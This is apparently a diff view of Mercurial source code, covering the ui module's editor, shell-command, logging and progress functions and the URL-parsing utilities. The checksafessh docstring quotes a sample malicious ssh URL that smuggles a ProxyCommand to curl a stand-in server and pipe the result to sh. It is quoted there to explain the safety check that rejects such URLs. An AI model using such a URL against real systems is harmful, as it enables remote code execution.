1822 1824 self._writemsg(self._fmsgout, type=b'debug', *msg, **opts)
1823 1825 self.log(b'debug', b'%s', b''.join(msg))
1824 1826
1825 1827 # Aliases to defeat check-code.
1826 1828 statusnoi18n = status
1827 1829 notenoi18n = note
1828 1830 warnnoi18n = warn
1829 1831 writenoi18n = write
1830 1832
1831 1833 def edit(
1832 1834 self,
1833 1835 text,
1834 1836 user,
1835 1837 extra=None,
1836 1838 editform=None,
1837 1839 pending=None,
1838 1840 repopath=None,
1839 1841 action=None,
1840 1842 ):
1841 1843 if action is None:
1842 1844 self.develwarn(
1843 1845 b'action is None but will soon be a required '
1844 1846 b'parameter to ui.edit()'
1845 1847 )
1846 1848 extra_defaults = {
1847 1849 b'prefix': b'editor',
1848 1850 b'suffix': b'.txt',
1849 1851 }
1850 1852 if extra is not None:
1851 1853 if extra.get(b'suffix') is not None:
1852 1854 self.develwarn(
1853 1855 b'extra.suffix is not None but will soon be '
1854 1856 b'ignored by ui.edit()'
1855 1857 )
1856 1858 extra_defaults.update(extra)
1857 1859 extra = extra_defaults
1858 1860
1859 1861 if action == b'diff':
1860 1862 suffix = b'.diff'
1861 1863 elif action:
1862 1864 suffix = b'.%s.hg.txt' % action
1863 1865 else:
1864 1866 suffix = extra[b'suffix']
1865 1867
1866 1868 rdir = None
1867 1869 if self.configbool(b'experimental', b'editortmpinhg'):
1868 1870 rdir = repopath
1869 1871 (fd, name) = pycompat.mkstemp(
1870 1872 prefix=b'hg-' + extra[b'prefix'] + b'-', suffix=suffix, dir=rdir
1871 1873 )
1872 1874 try:
1873 1875 with os.fdopen(fd, 'wb') as f:
1874 1876 f.write(util.tonativeeol(text))
1875 1877
1876 1878 environ = {b'HGUSER': user}
1877 1879 if b'transplant_source' in extra:
1878 1880 environ.update(
1879 1881 {b'HGREVISION': hex(extra[b'transplant_source'])}
1880 1882 )
1881 1883 for label in (b'intermediate-source', b'source', b'rebase_source'):
1882 1884 if label in extra:
1883 1885 environ.update({b'HGREVISION': extra[label]})
1884 1886 break
1885 1887 if editform:
1886 1888 environ.update({b'HGEDITFORM': editform})
1887 1889 if pending:
1888 1890 environ.update({b'HG_PENDING': pending})
1889 1891
1890 1892 editor = self.geteditor()
1891 1893
1892 1894 self.system(
1893 1895 b"%s \"%s\"" % (editor, name),
1894 1896 environ=environ,
1895 1897 onerr=error.CanceledError,
1896 1898 errprefix=_(b"edit failed"),
1897 1899 blockedtag=b'editor',
1898 1900 )
1899 1901
1900 1902 with open(name, 'rb') as f:
1901 1903 t = util.fromnativeeol(f.read())
1902 1904 finally:
1903 1905 os.unlink(name)
1904 1906
1905 1907 return t
1906 1908
1907 1909 def system(
1908 1910 self,
1909 1911 cmd,
1910 1912 environ=None,
1911 1913 cwd=None,
1912 1914 onerr=None,
1913 1915 errprefix=None,
1914 1916 blockedtag=None,
1915 1917 ):
1916 1918 """execute shell command with appropriate output stream. command
1917 1919 output will be redirected if fout is not stdout.
1918 1920
1919 1921 if command fails and onerr is None, return status, else raise onerr
1920 1922 object as exception.
1921 1923 """
1922 1924 if blockedtag is None:
1923 1925 # Long cmds tend to be because of an absolute path on cmd. Keep
1924 1926 # the tail end instead
1925 1927 cmdsuffix = cmd.translate(None, _keepalnum)[-85:]
1926 1928 blockedtag = b'unknown_system_' + cmdsuffix
1927 1929 out = self._fout
1928 1930 if any(s[1] for s in self._bufferstates):
1929 1931 out = self
1930 1932 with self.timeblockedsection(blockedtag):
1931 1933 rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out)
1932 1934 if rc and onerr:
1933 1935 errmsg = b'%s %s' % (
1934 1936 procutil.shellsplit(cmd)[0],
1935 1937 procutil.explainexit(rc),
1936 1938 )
1937 1939 if errprefix:
1938 1940 errmsg = b'%s: %s' % (errprefix, errmsg)
1939 1941 raise onerr(errmsg)
1940 1942 return rc
1941 1943
1942 1944 def _runsystem(self, cmd, environ, cwd, out):
1943 1945 """actually execute the given shell command (can be overridden by
1944 1946 extensions like chg)"""
1945 1947 return procutil.system(cmd, environ=environ, cwd=cwd, out=out)
1946 1948
1947 1949 def traceback(self, exc=None, force=False):
1948 1950 """print exception traceback if traceback printing enabled or forced.
1949 1951 only to call in exception handler. returns true if traceback
1950 1952 printed."""
1951 1953 if self.tracebackflag or force:
1952 1954 if exc is None:
1953 1955 exc = sys.exc_info()
1954 1956 cause = getattr(exc[1], 'cause', None)
1955 1957
1956 1958 if cause is not None:
1957 1959 causetb = traceback.format_tb(cause[2])
1958 1960 exctb = traceback.format_tb(exc[2])
1959 1961 exconly = traceback.format_exception_only(cause[0], cause[1])
1960 1962
1961 1963 # exclude frame where 'exc' was chained and rethrown from exctb
1962 1964 self.write_err(
1963 1965 b'Traceback (most recent call last):\n',
1964 1966 encoding.strtolocal(''.join(exctb[:-1])),
1965 1967 encoding.strtolocal(''.join(causetb)),
1966 1968 encoding.strtolocal(''.join(exconly)),
1967 1969 )
1968 1970 else:
1969 1971 output = traceback.format_exception(exc[0], exc[1], exc[2])
1970 1972 self.write_err(encoding.strtolocal(''.join(output)))
1971 1973 return self.tracebackflag or force
1972 1974
1973 1975 def geteditor(self):
1974 1976 '''return editor to use'''
1975 1977 if pycompat.sysplatform == b'plan9':
1976 1978 # vi is the MIPS instruction simulator on Plan 9. We
1977 1979 # instead default to E to plumb commit messages to
1978 1980 # avoid confusion.
1979 1981 editor = b'E'
1980 1982 elif pycompat.isdarwin:
1981 1983 # vi on darwin is POSIX compatible to a fault, and that includes
1982 1984 # exiting non-zero if you make any mistake when running an ex
1983 1985 # command. Proof: `vi -c ':unknown' -c ':qa'; echo $?` produces 1,
1984 1986 # while s/vi/vim/ doesn't.
1985 1987 editor = b'vim'
1986 1988 else:
1987 1989 editor = b'vi'
1988 1990 return encoding.environ.get(b"HGEDITOR") or self.config(
1989 1991 b"ui", b"editor", editor
1990 1992 )
1991 1993
1992 1994 @util.propertycache
1993 1995 def _progbar(self):
1994 1996 """setup the progbar singleton to the ui object"""
1995 1997 if (
1996 1998 self.quiet
1997 1999 or self.debugflag
1998 2000 or self.configbool(b'progress', b'disable')
1999 2001 or not progress.shouldprint(self)
2000 2002 ):
2001 2003 return None
2002 2004 return getprogbar(self)
2003 2005
2004 2006 def _progclear(self):
2005 2007 """clear progress bar output if any. use it before any output"""
2006 2008 if not haveprogbar(): # nothing loaded yet
2007 2009 return
2008 2010 if self._progbar is not None and self._progbar.printed:
2009 2011 self._progbar.clear()
2010 2012
2011 2013 def makeprogress(self, topic, unit=b"", total=None):
2012 2014 """Create a progress helper for the specified topic"""
2013 2015 if getattr(self._fmsgerr, 'structured', False):
2014 2016 # channel for machine-readable output with metadata, just send
2015 2017 # raw information
2016 2018 # TODO: consider porting some useful information (e.g. estimated
2017 2019 # time) from progbar. we might want to support update delay to
2018 2020 # reduce the cost of transferring progress messages.
2019 2021 def updatebar(topic, pos, item, unit, total):
2020 2022 self._fmsgerr.write(
2021 2023 None,
2022 2024 type=b'progress',
2023 2025 topic=topic,
2024 2026 pos=pos,
2025 2027 item=item,
2026 2028 unit=unit,
2027 2029 total=total,
2028 2030 )
2029 2031
2030 2032 elif self._progbar is not None:
2031 2033 updatebar = self._progbar.progress
2032 2034 else:
2033 2035
2034 2036 def updatebar(topic, pos, item, unit, total):
2035 2037 pass
2036 2038
2037 2039 return scmutil.progress(self, updatebar, topic, unit, total)
2038 2040
2039 2041 def getlogger(self, name):
2040 2042 """Returns a logger of the given name; or None if not registered"""
2041 2043 return self._loggers.get(name)
2042 2044
2043 2045 def setlogger(self, name, logger):
2044 2046 """Install logger which can be identified later by the given name
2045 2047
2046 2048 More than one loggers can be registered. Use extension or module
2047 2049 name to uniquely identify the logger instance.
2048 2050 """
2049 2051 self._loggers[name] = logger
2050 2052
2051 2053 def log(self, event, msgfmt, *msgargs, **opts):
2052 2054 """hook for logging facility extensions
2053 2055
2054 2056 event should be a readily-identifiable subsystem, which will
2055 2057 allow filtering.
2056 2058
2057 2059 msgfmt should be a newline-terminated format string to log, and
2058 2060 *msgargs are %-formatted into it.
2059 2061
2060 2062 **opts currently has no defined meanings.
2061 2063 """
2062 2064 if not self._loggers:
2063 2065 return
2064 2066 activeloggers = [
2065 2067 l for l in pycompat.itervalues(self._loggers) if l.tracked(event)
2066 2068 ]
2067 2069 if not activeloggers:
2068 2070 return
2069 2071 msg = msgfmt % msgargs
2070 2072 opts = pycompat.byteskwargs(opts)
2071 2073 # guard against recursion from e.g. ui.debug()
2072 2074 registeredloggers = self._loggers
2073 2075 self._loggers = {}
2074 2076 try:
2075 2077 for logger in activeloggers:
2076 2078 logger.log(self, event, msg, opts)
2077 2079 finally:
2078 2080 self._loggers = registeredloggers
2079 2081
2080 2082 def label(self, msg, label):
2081 2083 """style msg based on supplied label
2082 2084
2083 2085 If some color mode is enabled, this will add the necessary control
2084 2086 characters to apply such color. In addition, 'debug' color mode adds
2085 2087 markup showing which label affects a piece of text.
2086 2088
2087 2089 ui.write(s, 'label') is equivalent to
2088 2090 ui.write(ui.label(s, 'label')).
2089 2091 """
2090 2092 if self._colormode is not None:
2091 2093 return color.colorlabel(self, msg, label)
2092 2094 return msg
2093 2095
2094 2096 def develwarn(self, msg, stacklevel=1, config=None):
2095 2097 """issue a developer warning message
2096 2098
2097 2099 Use 'stacklevel' to report the offender some layers further up in the
2098 2100 stack.
2099 2101 """
2100 2102 if not self.configbool(b'devel', b'all-warnings'):
2101 2103 if config is None or not self.configbool(b'devel', config):
2102 2104 return
2103 2105 msg = b'devel-warn: ' + msg
2104 2106 stacklevel += 1 # get in develwarn
2105 2107 if self.tracebackflag:
2106 2108 util.debugstacktrace(msg, stacklevel, self._ferr, self._fout)
2107 2109 self.log(
2108 2110 b'develwarn',
2109 2111 b'%s at:\n%s'
2110 2112 % (msg, b''.join(util.getstackframes(stacklevel))),
2111 2113 )
2112 2114 else:
2113 2115 curframe = inspect.currentframe()
2114 2116 calframe = inspect.getouterframes(curframe, 2)
2115 2117 fname, lineno, fmsg = calframe[stacklevel][1:4]
2116 2118 fname, fmsg = pycompat.sysbytes(fname), pycompat.sysbytes(fmsg)
2117 2119 self.write_err(b'%s at: %s:%d (%s)\n' % (msg, fname, lineno, fmsg))
2118 2120 self.log(
2119 2121 b'develwarn', b'%s at: %s:%d (%s)\n', msg, fname, lineno, fmsg
2120 2122 )
2121 2123
2122 2124 # avoid cycles
2123 2125 del curframe
2124 2126 del calframe
2125 2127
2126 2128 def deprecwarn(self, msg, version, stacklevel=2):
2127 2129 """issue a deprecation warning
2128 2130
2129 2131 - msg: message explaining what is deprecated and how to upgrade,
2130 2132 - version: last version where the API will be supported,
2131 2133 """
2132 2134 if not (
2133 2135 self.configbool(b'devel', b'all-warnings')
2134 2136 or self.configbool(b'devel', b'deprec-warn')
2135 2137 ):
2136 2138 return
2137 2139 msg += (
2138 2140 b"\n(compatibility will be dropped after Mercurial-%s,"
2139 2141 b" update your code.)"
2140 2142 ) % version
2141 2143 self.develwarn(msg, stacklevel=stacklevel, config=b'deprec-warn')
2142 2144
2143 2145 def exportableenviron(self):
2144 2146 """The environment variables that are safe to export, e.g. through
2145 2147 hgweb.
2146 2148 """
2147 2149 return self._exportableenviron
2148 2150
2149 2151 @contextlib.contextmanager
2150 2152 def configoverride(self, overrides, source=b""):
2151 2153 """Context manager for temporary config overrides
2152 2154 `overrides` must be a dict of the following structure:
2153 2155 {(section, name) : value}"""
2154 2156 backups = {}
2155 2157 try:
2156 2158 for (section, name), value in overrides.items():
2157 2159 backups[(section, name)] = self.backupconfig(section, name)
2158 2160 self.setconfig(section, name, value, source)
2159 2161 yield
2160 2162 finally:
2161 2163 for __, backup in backups.items():
2162 2164 self.restoreconfig(backup)
2163 2165 # just restoring ui.quiet config to the previous value is not enough
2164 2166 # as it does not update ui.quiet class member
2165 2167 if (b'ui', b'quiet') in overrides:
2166 2168 self.fixconfig(section=b'ui')
2167 2169
2168 2170 def estimatememory(self):
2169 2171 """Provide an estimate for the available system memory in Bytes.
2170 2172
2171 2173 This can be overriden via ui.available-memory. It returns None, if
2172 2174 no estimate can be computed.
2173 2175 """
2174 2176 value = self.config(b'ui', b'available-memory')
2175 2177 if value is not None:
2176 2178 try:
2177 2179 return util.sizetoint(value)
2178 2180 except error.ParseError:
2179 2181 raise error.ConfigError(
2180 2182 _(b"ui.available-memory value is invalid ('%s')") % value
2181 2183 )
2182 2184 return util._estimatememory()
2183 2185
2184 2186
2185 2187 # we instantiate one globally shared progress bar to avoid
2186 2188 # competing progress bars when multiple UI objects get created
2187 2189 _progresssingleton = None
2188 2190
2189 2191
2190 2192 def getprogbar(ui):
2191 2193 global _progresssingleton
2192 2194 if _progresssingleton is None:
2193 2195 # passing 'ui' object to the singleton is fishy,
2194 2196 # this is how the extension used to work but feel free to rework it.
2195 2197 _progresssingleton = progress.progbar(ui)
2196 2198 return _progresssingleton
2197 2199
2198 2200
2199 2201 def haveprogbar():
2200 2202 return _progresssingleton is not None
2201 2203
2202 2204
2203 2205 def _selectmsgdests(ui):
2204 2206 name = ui.config(b'ui', b'message-output')
2205 2207 if name == b'channel':
2206 2208 if ui.fmsg:
2207 2209 return ui.fmsg, ui.fmsg
2208 2210 else:
2209 2211 # fall back to ferr if channel isn't ready so that status/error
2210 2212 # messages can be printed
2211 2213 return ui.ferr, ui.ferr
2212 2214 if name == b'stdio':
2213 2215 return ui.fout, ui.ferr
2214 2216 if name == b'stderr':
2215 2217 return ui.ferr, ui.ferr
2216 2218 raise error.Abort(b'invalid ui.message-output destination: %s' % name)
2217 2219
2218 2220
2219 2221 def _writemsgwith(write, dest, *args, **opts):
2220 2222 """Write ui message with the given ui._write*() function
2221 2223
2222 2224 The specified message type is translated to 'ui.<type>' label if the dest
2223 2225 isn't a structured channel, so that the message will be colorized.
2224 2226 """
2225 2227 # TODO: maybe change 'type' to a mandatory option
2226 2228 if 'type' in opts and not getattr(dest, 'structured', False):
2227 2229 opts['label'] = opts.get('label', b'') + b' ui.%s' % opts.pop('type')
2228 2230 write(dest, *args, **opts)
@@ -1,810 +1,812 b''
1 1 # utils.urlutil - code related to [paths] management
2 2 #
3 3 # Copyright 2005-2021 Olivia Mackall <olivia@selenic.com> and others
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7 import os
8 8 import re as remod
9 9 import socket
10 10
11 11 from ..i18n import _
12 12 from ..pycompat import (
13 13 getattr,
14 14 setattr,
15 15 )
16 16 from .. import (
17 17 encoding,
18 18 error,
19 19 pycompat,
20 20 urllibcompat,
21 21 )
22 22
23 23
24 24 if pycompat.TYPE_CHECKING:
25 25 from typing import (
26 26 Union,
27 27 )
28 28
29 29 urlreq = urllibcompat.urlreq
30 30
31 31
32 32 def getport(port):
33 33 # type: (Union[bytes, int]) -> int
34 34 """Return the port for a given network service.
35 35
36 36 If port is an integer, it's returned as is. If it's a string, it's
37 37 looked up using socket.getservbyname(). If there's no matching
38 38 service, error.Abort is raised.
39 39 """
40 40 try:
41 41 return int(port)
42 42 except ValueError:
43 43 pass
44 44
45 45 try:
46 46 return socket.getservbyname(pycompat.sysstr(port))
47 47 except socket.error:
48 48 raise error.Abort(
49 49 _(b"no port number associated with service '%s'") % port
50 50 )
51 51
52 52
53 53 class url(object):
54 54 r"""Reliable URL parser.
55 55
56 56 This parses URLs and provides attributes for the following
57 57 components:
58 58
59 59 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
60 60
61 61 Missing components are set to None. The only exception is
62 62 fragment, which is set to '' if present but empty.
63 63
64 64 If parsefragment is False, fragment is included in query. If
65 65 parsequery is False, query is included in path. If both are
66 66 False, both fragment and query are included in path.
67 67
68 68 See http://www.ietf.org/rfc/rfc2396.txt for more information.
69 69
70 70 Note that for backward compatibility reasons, bundle URLs do not
71 71 take host names. That means 'bundle://../' has a path of '../'.
72 72
73 73 Examples:
74 74
75 75 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
76 76 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
77 77 >>> url(b'ssh://[::1]:2200//home/joe/repo')
78 78 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
79 79 >>> url(b'file:///home/joe/repo')
80 80 <url scheme: 'file', path: '/home/joe/repo'>
81 81 >>> url(b'file:///c:/temp/foo/')
82 82 <url scheme: 'file', path: 'c:/temp/foo/'>
83 83 >>> url(b'bundle:foo')
84 84 <url scheme: 'bundle', path: 'foo'>
85 85 >>> url(b'bundle://../foo')
86 86 <url scheme: 'bundle', path: '../foo'>
87 87 >>> url(br'c:\foo\bar')
88 88 <url path: 'c:\\foo\\bar'>
89 89 >>> url(br'\\blah\blah\blah')
90 90 <url path: '\\\\blah\\blah\\blah'>
91 91 >>> url(br'\\blah\blah\blah#baz')
92 92 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
93 93 >>> url(br'file:///C:\users\me')
94 94 <url scheme: 'file', path: 'C:\\users\\me'>
95 95
96 96 Authentication credentials:
97 97
98 98 >>> url(b'ssh://joe:xyz@x/repo')
99 99 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
100 100 >>> url(b'ssh://joe@x/repo')
101 101 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
102 102
103 103 Query strings and fragments:
104 104
105 105 >>> url(b'http://host/a?b#c')
106 106 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
107 107 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
108 108 <url scheme: 'http', host: 'host', path: 'a?b#c'>
109 109
110 110 Empty path:
111 111
112 112 >>> url(b'')
113 113 <url path: ''>
114 114 >>> url(b'#a')
115 115 <url path: '', fragment: 'a'>
116 116 >>> url(b'http://host/')
117 117 <url scheme: 'http', host: 'host', path: ''>
118 118 >>> url(b'http://host/#a')
119 119 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
120 120
121 121 Only scheme:
122 122
123 123 >>> url(b'http:')
124 124 <url scheme: 'http'>
125 125 """
126 126
127 127 _safechars = b"!~*'()+"
128 128 _safepchars = b"/!~*'()+:\\"
129 129 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
130 130
131 131 def __init__(self, path, parsequery=True, parsefragment=True):
132 132 # type: (bytes, bool, bool) -> None
133 133 # We slowly chomp away at path until we have only the path left
134 134 self.scheme = self.user = self.passwd = self.host = None
135 135 self.port = self.path = self.query = self.fragment = None
136 136 self._localpath = True
137 137 self._hostport = b''
138 138 self._origpath = path
139 139
140 140 if parsefragment and b'#' in path:
141 141 path, self.fragment = path.split(b'#', 1)
142 142
143 143 # special case for Windows drive letters and UNC paths
144 144 if hasdriveletter(path) or path.startswith(b'\\\\'):
145 145 self.path = path
146 146 return
147 147
148 148 # For compatibility reasons, we can't handle bundle paths as
149 149 # normal URLS
150 150 if path.startswith(b'bundle:'):
151 151 self.scheme = b'bundle'
152 152 path = path[7:]
153 153 if path.startswith(b'//'):
154 154 path = path[2:]
155 155 self.path = path
156 156 return
157 157
158 158 if self._matchscheme(path):
159 159 parts = path.split(b':', 1)
160 160 if parts[0]:
161 161 self.scheme, path = parts
162 162 self._localpath = False
163 163
164 164 if not path:
165 165 path = None
166 166 if self._localpath:
167 167 self.path = b''
168 168 return
169 169 else:
170 170 if self._localpath:
171 171 self.path = path
172 172 return
173 173
174 174 if parsequery and b'?' in path:
175 175 path, self.query = path.split(b'?', 1)
176 176 if not path:
177 177 path = None
178 178 if not self.query:
179 179 self.query = None
180 180
181 181 # // is required to specify a host/authority
182 182 if path and path.startswith(b'//'):
183 183 parts = path[2:].split(b'/', 1)
184 184 if len(parts) > 1:
185 185 self.host, path = parts
186 186 else:
187 187 self.host = parts[0]
188 188 path = None
189 189 if not self.host:
190 190 self.host = None
191 191 # path of file:///d is /d
192 192 # path of file:///d:/ is d:/, not /d:/
193 193 if path and not hasdriveletter(path):
194 194 path = b'/' + path
195 195
196 196 if self.host and b'@' in self.host:
197 197 self.user, self.host = self.host.rsplit(b'@', 1)
198 198 if b':' in self.user:
199 199 self.user, self.passwd = self.user.split(b':', 1)
200 200 if not self.host:
201 201 self.host = None
202 202
203 203 # Don't split on colons in IPv6 addresses without ports
204 204 if (
205 205 self.host
206 206 and b':' in self.host
207 207 and not (
208 208 self.host.startswith(b'[') and self.host.endswith(b']')
209 209 )
210 210 ):
211 211 self._hostport = self.host
212 212 self.host, self.port = self.host.rsplit(b':', 1)
213 213 if not self.host:
214 214 self.host = None
215 215
216 216 if (
217 217 self.host
218 218 and self.scheme == b'file'
219 219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
220 220 ):
221 221 raise error.Abort(
222 222 _(b'file:// URLs can only refer to localhost')
223 223 )
224 224
225 225 self.path = path
226 226
227 227 # leave the query string escaped
228 228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
229 229 v = getattr(self, a)
230 230 if v is not None:
231 231 setattr(self, a, urlreq.unquote(v))
232 232
233 233 def copy(self):
234 234 u = url(b'temporary useless value')
235 235 u.path = self.path
236 236 u.scheme = self.scheme
237 237 u.user = self.user
238 238 u.passwd = self.passwd
239 239 u.host = self.host
240 240 u.path = self.path
241 241 u.query = self.query
242 242 u.fragment = self.fragment
243 243 u._localpath = self._localpath
244 244 u._hostport = self._hostport
245 245 u._origpath = self._origpath
246 246 return u
247 247
248 248 @encoding.strmethod
249 249 def __repr__(self):
250 250 attrs = []
251 251 for a in (
252 252 b'scheme',
253 253 b'user',
254 254 b'passwd',
255 255 b'host',
256 256 b'port',
257 257 b'path',
258 258 b'query',
259 259 b'fragment',
260 260 ):
261 261 v = getattr(self, a)
262 262 if v is not None:
263 263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
264 264 return b'<url %s>' % b', '.join(attrs)
265 265
266 266 def __bytes__(self):
267 267 r"""Join the URL's components back into a URL string.
268 268
269 269 Examples:
270 270
271 271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
272 272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
273 273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
274 274 'http://user:pw@host:80/?foo=bar&baz=42'
275 275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
276 276 'http://user:pw@host:80/?foo=bar%3dbaz'
277 277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
278 278 'ssh://user:pw@[::1]:2200//home/joe#'
279 279 >>> bytes(url(b'http://localhost:80//'))
280 280 'http://localhost:80//'
281 281 >>> bytes(url(b'http://localhost:80/'))
282 282 'http://localhost:80/'
283 283 >>> bytes(url(b'http://localhost:80'))
284 284 'http://localhost:80/'
285 285 >>> bytes(url(b'bundle:foo'))
286 286 'bundle:foo'
287 287 >>> bytes(url(b'bundle://../foo'))
288 288 'bundle:../foo'
289 289 >>> bytes(url(b'path'))
290 290 'path'
291 291 >>> bytes(url(b'file:///tmp/foo/bar'))
292 292 'file:///tmp/foo/bar'
293 293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
294 294 'file:///c:/tmp/foo/bar'
295 295 >>> print(url(br'bundle:foo\bar'))
296 296 bundle:foo\bar
297 297 >>> print(url(br'file:///D:\data\hg'))
298 298 file:///D:\data\hg
299 299 """
300 300 if self._localpath:
301 301 s = self.path
302 302 if self.scheme == b'bundle':
303 303 s = b'bundle:' + s
304 304 if self.fragment:
305 305 s += b'#' + self.fragment
306 306 return s
307 307
308 308 s = self.scheme + b':'
309 309 if self.user or self.passwd or self.host:
310 310 s += b'//'
311 311 elif self.scheme and (
312 312 not self.path
313 313 or self.path.startswith(b'/')
314 314 or hasdriveletter(self.path)
315 315 ):
316 316 s += b'//'
317 317 if hasdriveletter(self.path):
318 318 s += b'/'
319 319 if self.user:
320 320 s += urlreq.quote(self.user, safe=self._safechars)
321 321 if self.passwd:
322 322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
323 323 if self.user or self.passwd:
324 324 s += b'@'
325 325 if self.host:
326 326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
327 327 s += urlreq.quote(self.host)
328 328 else:
329 329 s += self.host
330 330 if self.port:
331 331 s += b':' + urlreq.quote(self.port)
332 332 if self.host:
333 333 s += b'/'
334 334 if self.path:
335 335 # TODO: similar to the query string, we should not unescape the
336 336 # path when we store it, the path might contain '%2f' = '/',
337 337 # which we should *not* escape.
338 338 s += urlreq.quote(self.path, safe=self._safepchars)
339 339 if self.query:
340 340 # we store the query in escaped form.
341 341 s += b'?' + self.query
342 342 if self.fragment is not None:
343 343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
344 344 return s
345 345
346 346 __str__ = encoding.strmethod(__bytes__)
347 347
348 348 def authinfo(self):
349 349 user, passwd = self.user, self.passwd
350 350 try:
351 351 self.user, self.passwd = None, None
352 352 s = bytes(self)
353 353 finally:
354 354 self.user, self.passwd = user, passwd
355 355 if not self.user:
356 356 return (s, None)
357 357 # authinfo[1] is passed to urllib2 password manager, and its
358 358 # URIs must not contain credentials. The host is passed in the
359 359 # URIs list because Python < 2.4.3 uses only that to search for
360 360 # a password.
361 361 return (s, (None, (s, self.host), self.user, self.passwd or b''))
362 362
363 363 def isabs(self):
364 364 if self.scheme and self.scheme != b'file':
365 365 return True # remote URL
366 366 if hasdriveletter(self.path):
367 367 return True # absolute for our purposes - can't be joined()
368 368 if self.path.startswith(br'\\'):
369 369 return True # Windows UNC path
370 370 if self.path.startswith(b'/'):
371 371 return True # POSIX-style
372 372 return False
373 373
374 374 def localpath(self):
375 375 # type: () -> bytes
376 376 if self.scheme == b'file' or self.scheme == b'bundle':
377 377 path = self.path or b'/'
378 378 # For Windows, we need to promote hosts containing drive
379 379 # letters to paths with drive letters.
380 380 if hasdriveletter(self._hostport):
381 381 path = self._hostport + b'/' + self.path
382 382 elif (
383 383 self.host is not None and self.path and not hasdriveletter(path)
384 384 ):
385 385 path = b'/' + path
386 386 return path
387 387 return self._origpath
388 388
389 389 def islocal(self):
390 390 '''whether localpath will return something that posixfile can open'''
391 391 return (
392 392 not self.scheme
393 393 or self.scheme == b'file'
394 394 or self.scheme == b'bundle'
395 395 )
396 396
397 397
398 398 def hasscheme(path):
399 399 # type: (bytes) -> bool
400 400 return bool(url(path).scheme) # cast to help pytype
401 401
402 402
403 403 def hasdriveletter(path):
404 404 # type: (bytes) -> bool
405 405 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
406 406
407 407
408 408 def urllocalpath(path):
409 409 # type: (bytes) -> bytes
410 410 return url(path, parsequery=False, parsefragment=False).localpath()
411 411
412 412
413 413 def checksafessh(path):
414 414 # type: (bytes) -> None
415 415 """check if a path / url is a potentially unsafe ssh exploit (SEC)
416 416
417 417 This is a sanity check for ssh urls. ssh will parse the first item as
418 418 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
419 419 Let's prevent these potentially exploited urls entirely and warn the
420 420 user.
421 421
422 422 Raises an error.Abort when the url is unsafe.
423 423 """
424 424 path = urlreq.unquote(path)
425 425 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
426 426 raise error.Abort(
427 427 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
428 428 )
429 429
430 430
431 431 def hidepassword(u):
432 432 # type: (bytes) -> bytes
433 433 '''hide user credential in a url string'''
434 434 u = url(u)
435 435 if u.passwd:
436 436 u.passwd = b'***'
437 437 return bytes(u)
438 438
439 439
440 440 def removeauth(u):
441 441 # type: (bytes) -> bytes
442 442 '''remove all authentication information from a url string'''
443 443 u = url(u)
444 444 u.user = u.passwd = None
445 445 return bytes(u)
446 446
447 447
448 448 def try_path(ui, url):
449 449 """try to build a path from a url
450 450
451 451 Return None if no Path could built.
452 452 """
453 453 try:
454 454 # we pass the ui instance are warning might need to be issued
455 455 return path(ui, None, rawloc=url)
456 456 except ValueError:
457 457 return None
458 458
459 459
460 460 def get_push_paths(repo, ui, dests):
461 461 """yields all the `path` selected as push destination by `dests`"""
462 462 if not dests:
463 463 if b'default-push' in ui.paths:
464 464 yield ui.paths[b'default-push']
465 465 elif b'default' in ui.paths:
466 466 yield ui.paths[b'default']
467 467 else:
468 468 raise error.ConfigError(
469 469 _(b'default repository not configured!'),
470 470 hint=_(b"see 'hg help config.paths'"),
471 471 )
472 472 else:
473 473 for dest in dests:
474 474 if dest in ui.paths:
475 475 yield ui.paths[dest]
476 476 else:
477 477 path = try_path(ui, dest)
478 478 if path is None:
479 479 msg = _(b'repository %s does not exist')
480 480 msg %= dest
481 481 raise error.RepoError(msg)
482 482 yield path
483 483
484 484
485 485 def get_pull_paths(repo, ui, sources, default_branches=()):
486 486 """yields all the `(path, branch)` selected as pull source by `sources`"""
487 487 if not sources:
488 488 sources = [b'default']
489 489 for source in sources:
490 490 if source in ui.paths:
491 491 url = ui.paths[source].rawloc
492 492 else:
493 493 # Try to resolve as a local path or URI.
494 494 path = try_path(ui, source)
495 495 if path is not None:
496 496 url = path.rawloc
497 497 else:
498 498 url = source
499 499 yield parseurl(url, default_branches)
500 500
501 501
502 502 def get_unique_push_path(action, repo, ui, dest=None):
503 503 """return a unique `path` or abort if multiple are found
504 504
505 505 This is useful for command and action that does not support multiple
506 506 destination (yet).
507 507
508 508 Note that for now, we cannot get multiple destination so this function is "trivial".
509 509
510 510 The `action` parameter will be used for the error message.
511 511 """
512 512 if dest is None:
513 513 dests = []
514 514 else:
515 515 dests = [dest]
516 516 dests = list(get_push_paths(repo, ui, dests))
517 517 assert len(dests) == 1
518 518 return dests[0]
519 519
520 520
521 521 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
